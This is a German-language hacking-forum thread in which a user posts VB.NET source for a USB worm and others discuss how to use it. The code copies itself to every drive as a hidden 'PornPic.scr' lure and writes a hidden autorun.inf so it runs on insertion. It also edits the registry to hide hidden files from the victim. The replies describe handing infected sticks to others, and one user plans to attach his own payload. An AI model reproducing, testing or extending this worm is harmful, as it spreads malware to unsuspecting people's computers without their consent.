[VB.NET] USB Spread

[inmate]

Imports System.IO
Public Class Form1

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Dim drivers As String = My.Computer.FileSystem.SpecialDirectories.ProgramF iles
Dim driver() As String = (IO.Directory.GetLogicalDrives)
For Each drivers In driver
Try
IO.File.Copy(Application.ExecutablePath, drivers & "PornPic.scr")
Dim autorunwriter = New StreamWriter(drivers & "\autorun.inf")
autorunwriter.WriteLine("[autorun]")
autorunwriter.WriteLine("open=" & drivers & "PornPic.scr")
autorunwriter.WriteLine("shellexecute=" & drivers, 1)
autorunwriter.Close()
System.IO.File.SetAttributes(drivers & "autorun.inf", FileAttributes.Hidden)
System.IO.File.SetAttributes(drivers & "PornPic.scr", FileAttributes.Hidden)
Catch ex As Exception

End Try
Next
Call filehide()
End Sub
Private Sub filehide()

My.Computer.Registry.SetValue("HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Explorer\Advanced", "Hidden", 0)

End Sub

End Class
Ich weis nicht ob es klappt ,eigentlich sollte es gehen aber ich habe immoment keine Externen Sachen zum testen :)
wäre schön wenns einer von euch testen kann ;)
mfG

[biggermanbomber]

nehme an:
exe auf pc starten>usb dran>warten>usb ab>an anderen pc dran>*aua*
richtig so?

[sp33dwalker]

Nein,so :

Usb stift dran,Exe starten,Usb stift ab und weitergeben. Übrigens ist das nicht gerade der beste Source Code,denn er kopiert sich auch auf deinen Partitionen wie C: oder D: :P

[biggermanbomber]

ok und ... meinen code würde ich einfach von end sub einfügen.... mh naja werds mal versuchen =)